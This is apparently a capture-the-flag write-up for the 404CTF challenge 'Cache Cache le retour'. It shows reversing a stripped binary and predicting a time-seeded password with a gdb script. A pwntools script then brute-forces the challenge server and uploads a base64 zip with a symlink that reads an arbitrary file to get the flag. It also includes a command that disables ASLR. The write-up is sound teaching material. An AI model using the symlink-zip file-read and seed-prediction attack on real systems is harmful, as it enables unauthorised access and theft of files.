Cache Cache le retour
Using the commands file cache_cache_le_retour
and checksec cache_cache_le_retour
to get some more infomation,
1
2
3
4
5
6
7
8
9
10
file cache_cache_le_retour
cache_cache_le_retour: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d574568517100e5aa82bc0cc539ef23a08e43dd3, stripped
checksec cache_cache_le_retour
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
From the output of
file cache_cache_le_retour
we can see that this binary is a dynamically linked ELF-64 x86-64 bit LSB and it is stripped
The output of
checksec cache_cache_le_retour
indicates that the cache_cache_le_retour binary has strong security features enabled, including full RELRO, a stack canary, NX protection, and PIE. These features help mitigate common security vulnerabilities and make it more difficult for attackers to exploit the binary.
Reverse engineering
Use Ghidra to read the code. Since the binary file has been stripped, it may be challenging to comprehend the code. As a solution, I decided to rename some functions to enhance the code’s readability. The modified function names are displayed in the image below.
The function main
From the code, it is evident that the password is randomly generated each time the ELF file is executed. The rand() function is utilized to generate a pseudo-random number, with the seed being based on the current timestamps.
Understanding this, we can recreate the password generation process by using the same binary file and providing a seed based on future timestamps, such as the next 30 seconds or more. By generating the password using this approach, we can then attempt to “brute force” the server’s password by trying the generated passwords every second until we succeed.
The code below will help us to get the generated password by using gdb script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
set disassembly-flavor intel
# add break point at address 0x5555554016a5 (just before the srand() function) to change the seed of the random
break *0x5555554016a5
commands
silent
print($rax)
# because we need the password for the next 33s, so we inscrease current value of rax (in this case it's current timestamp) by 33
set $rax += 33
print($rax)
continue
end
# adding a new break point just before the instructions that will generate the password
break *0x5555554016ff
commands
silent
# get the password in to $pass variable
set $pass = (char *) $rbp -0x40
# print the password to screen
print($pass)
quit
end
run
Before running this script, we must temporarily disable ASLR (Address space layout randomization) to get the same address each time we launch the ELF file. By using this command
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
The breakpoints are put at the instructions that are in the red box in the image below
Running the script:
1
2
3
4
5
6
7
8
gdb-peda$ source auto_gdb.gdb
Breakpoint 1 at 0x5555554016a5
Breakpoint 2 at 0x5555554016ff
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
$1 = 0x64818bc0
$2 = 0x64818be1
$3 = 0x7fffffffdcb0 "[FG/9y>frk}>G18bcac["
==> password = [FG/9y>frk}>G18bcac[
Code for “brute forcing” the access:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
import time
while True:
p = process("./cache_cache_le_retour")
# p = remote("challenges.404ctf.fr",31725)
# the password of the next 33s seconds
password = b'[FG/9y>frk}>G18bcac['
p.recvuntil(b"mot de passe ?\n")
p.sendline(password)
sms = p.recv()
print(sms.decode())
p.interactive()
After finding the password, the program will call give_a_gift function (name that i set) as shown below
This function takes a base64-encoded string as input then decode it after that it saves the decoded into a file named mystere.zip
(It’s a way to copy the file mystere.zip from our local machine to the server using base64-encode-and-decode
). Subsequently, it extracts the contents of this file to access the surprise.txt
file. This indicates that we may be able to exploit the functionality by using symlinks within the surprise.txt
file, allowing us to read the contents of arbitrary files after uploading them to the server.
We can also see the PS inside the description of the chall. There was something in the sale_au_tresor
, so I decided to create a symlink from mystere.txt
to the salle_au_tresor.
we have seen that this function will display the content of suprise.txt after unzip mystere.txt so creating simlink from sall_au_tresor to surprise.txt will help us to read the contents of the file salle_au_tresor.
By using the commands below we will get the base64 file and ready for exploiting
1
2
3
4
5
$ ln -s salle_au_tresor surprise.txt
$ zip --symlinks mystere.zip surprise.txt
$ cat mystere.zip | base64
UEsDBAoAAAAAAKN4t1aLoRhuDwAAAA8AAAAMABwAc3VycHJpc2UudHh0VVQJAAMBumxkAbpsZHV4CwABBOgDAAAE6AMAAHNhbGxlX2F1X3RyZXNvclBLAQIeAwoAAAAAAKN4t1aLoRhuDwAAAA8AAAAMABgAAAAAAAAAAAD/oQAAAABzdXJwcmlzZS50eHRVVAUAAwG6bGR1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBSAAAAVQAAAAAA
The complete code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
import time
while True:
# p = process("./cache_cache_le_retour")
p = remote("challenges.404ctf.fr",31725)
password = b'[FG/9y>frk}>G18bcac['
p.recvuntil(b"mot de passe ?\n")
p.sendline(password)
sms = p.recv()
if b'Je me vois au regret de refuser' in sms:
p.close()
time.sleep(0.6)
continue
gif = b"UEsDBAoAAAAAAKN4t1aLoRhuDwAAAA8AAAAMABwAc3VycHJpc2UudHh0VVQJAAMBumxkAbpsZHV4CwABBOgDAAAE6AMAAHNhbGxlX2F1X3RyZXNvclBLAQIeAwoAAAAAAKN4t1aLoRhuDwAAAA8AAAAMABgAAAAAAAAAAAD/oQAAAABzdXJwcmlzZS50eHRVVAUAAwG6bGR1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBSAAAAVQAAAAAA"
p.sendline(gif)
result = p.recvall()
with open("remote_flag.txt", "wb") as binary_file:
binary_file.write(result)
break
print(result)
print('terminate')
p.interactive()
Result
1
2
3
4
5
6
[*] Closed connection to challenges.404ctf.fr port 31725
[+] Opening connection to challenges.404ctf.fr on port 31725: Done
[+] Receiving all data: Done (60B)
[*] Closed connection to challenges.404ctf.fr port 31725
b'404CTF{UN_CH3V41_D3_7r013_P0Ur_3NV4H1r_14_54113_4U_7r350r}\n\n'
Flag: 404CTF{UN_CH3V41_D3_7r013_P0Ur_3NV4H1r_14_54113_4U_7r350r}